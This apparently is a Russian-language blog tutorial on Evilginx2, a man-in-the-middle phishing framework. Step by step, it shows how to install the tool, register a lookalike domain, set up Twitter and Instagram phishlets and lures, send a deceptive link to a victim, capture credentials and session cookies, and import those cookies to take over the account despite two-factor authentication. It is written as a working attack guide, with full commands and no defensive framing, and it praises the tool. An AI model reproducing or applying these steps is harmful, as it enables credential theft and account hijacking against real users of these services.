Evilginx2: фишинг 2FA без проблем
Думаешь, 2FA невозможно обойти? Но не всё так плохо. Замечательный парень kgretzky написал тулзу под названием Evilginx2, которая поможет нам обойти двухфакторную аутентификацию.
Поэтому в этой статье поговорим о фишинге и обходе двухфакторной аутентификации с помощью отличного инструмента – Evilginx2.
Cуть работы инструмента в том, что весь код страницы проксируется. Для конечного пользователя страница будет выглядеть абсолютно идентично оригинальной, а вернее – это оригинальная страница и есть.
Evilginx2 – это фреймворк типа «man-in-the-middle», используемый для фишинга учетных данных для входа в систему наряду с сеансовыми cookie-файлами, что, в свою очередь, позволяет обойти защиту двухфакторной аутентификации.
Этот инструмент является преемником Evilginx, выпущенного в ещё в 2017 году, который использовал пользовательскую версию HTTP-сервера nginx для обеспечения функционала «man-in-the-middle» в качестве прокси между браузером и фишинговым веб-сайтом. Настоящая версия, полностью написана на GO, как отдельное приложение.
Evilginx2 – реализует собственный HTTP и DNS-сервер, что делает его чрезвычайно простым в настройке и использовании.
Прелесть второй версии в том, что все работает в докере, что убирает весь геморрой с конфигурированием, и оставляет нам править простецкий yml файлик.
Список поддержвиаемых сервисов для фишинга, из коробки, впечатляет:
Скачиваем исходники Go.
wget https://golang.org/dl/go1.15.3.src.tar.gz
Распаковываем:
tar –C /usr/local –xzf go1.15.3.src.tar.gz
Добавляем в свой .bashrc (или другой файл профиля) переменные, для запуска GO:
export GOPATH=$HOME/go
export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin
Теперь переходим к установке Evilginx2:
go get -u github.com/kgretzky/evilginx2
cd $GOPATH/src/github.com/kgretzky/evilginx2
make
И осуществим пробный запуск, без настроек:
evilginx2
Переходим, непосредственно к практической части.
Убедитесь, что никакие службы в системе не прослушивают порты TCP 443, TCP 80 и UDP 53.
netstat –tplnu
Evilginx2 сообщит при запуске, если не удаcтся открыть прослушивающий сокет на любом из этих портов.
По умолчанию evilginx2 будет искать фишлеты в каталоге ./phishlets/, а затем в /usr/share/evilginx /phishlets/. Если вы хотите указать собственный путь для загрузки phishlets, используйте параметр -p <phishlets_dir_path> при запуске инструмента.
Вызов справки:
evilginx2 –h
Кроме этой, существует внутренняя справка по командам в самом Evilginx2.
Переходим, к настройке инструмента, перед проведением атаки.
Регистрируем домен и настраиваем серверы имен (ns1 и ns2) в панели администратора провайдера домена, чтобы они указывали на IP-адрес вашего сервера с Evilginx.
Настройте домен и IP-адрес вашего сервера, используя следующие команды:
config domain yourdomain.com
config ip (your ip)
Теперь вы можете настроить phishlet, который хотите использовать. В этом случае это будет phishlet Twitter. Установите имя хоста для phishlet (он должен содержать ваш домен).
phishlets hostname twitter twitter.com.maligncorp.com
Затем необходимо получить CNAME’s для фишлета twitter, и прописать их в админ панели Domain – провайдера:
Каноническое имя (запись CNAME) – это тип записи DNS, которая привязывает псевдоним к действительному (каноническому) доменному имени. Записи CNAME обычно используются для привязки субдомена, такого как www или mail к домену, в котором размещен контент этого субдомена. Например, запись CNAME может привязывать веб-адрес www.example.com к фактическому веб-сайту для домена example.com.
phishlets get-hosts twitter
Добавляем эти имена в панели управления, включаем в работу фишлет:
phishlets enable twitter
Ждём получения сертификатов, и если всё прошло успешно – видим такой вывод.
Сделаем редирект, на оригинальный домен twitter’a:
config redirect_url http://twitter.com
Затем, необходимо создать приманку – фишинговый путь к форме авторизации в твиттере, делается это так:
lures create twitter
Копируем path и добавляем его к нашей фишинговой ссылке, в итоге, она должна выглядеть так:
https://twitter.com.maligncorp.com/jNvKjIkI
Поделимся ей с жертвой наших манипуляций и подождём результата, примерно такого:
Ссылка выглядит стрёмно, (в защиту скажу – HTTPS) но кто на неё смотрит?
Ввод логина и пароля… и
Проверяем захваченные сессии, в случае, если пароль введен, верно, и вход в аккаунт осуществлён, в таблице, в столбце tokens будет значение captured, это означает, что помимо логина и пароля мы получили Cookies авторизованной сессии пользователя в twitter.
Чтобы не вводить логин и пароль, воспользуемся ими, чтобы войти в аккаунт жертвы:
sessions 7
Копируем всё это, переходим у себя в браузере на twitter.com, затем используя аддон, EditThisCookie импортируем данные и перезагружаем страницу:
С этим – всё ок, получилось. Теперь двухфакторная аутентификация.
Рассмотрим ситуацию, когда, цели необходимо восстановить пароль, та же 2FA с помощью телефона.
Приходит СМС от сервиса, и вводим полученный код:
Жертва сбрасывает пароль, в этом случае мы его не получаем, наш профит – это cookie текущей сессии.
Смотрим, что у нас в сессии, и копируем данные для импорта в браузер,
Итог, вполне предсказуем.
Это всё, что я хотел рассказать. Evilginx2 – очень крутой инструмент, советую посмотреть содержимое папки /phislets, уверен, натолкнёт на определенные мысли.
Можно пойти дальше и настроить всё прямо из Docker.
curl https://get.docker.com/ | bash
git clone https://github.com/kgretzky/evilginx2
cd evilginx2
docker build . -t evilginx2
docker run -it -p 53:53/udp -p 80:80 -p 443:443 evilginx2
Второй пример я покажу на примере Instagram:
config domain example.org # подставить свое
config ip 10.0.0.23 # подставить свое
phishlets hostname instagram insta2.exmaple.org # подставить свое
phishlets enable instagram
lures create instagram
lures get-url 0
https://www.insta2.example.org/oEnQzLHb
По ссылке для фишинга будет полная копия оригинального Instagram с возможностью авторизации вторым фактором.
Каждый ввод ввод данных генерит сессию, с любой из сессий можно забрать куки, и воспользоваться ими для входа в сервис.
Утилита совсем не сложна в использовании. Она великолепно работает, если вы создадите домен с похожим именем, но может работать и в сочетании с другими инструментами, о которых я уже писал.
Как видим ничего сложного. Инструмент работает как часы. Совсем не сложно и создать свой фишлет, нужно только немного разобраться.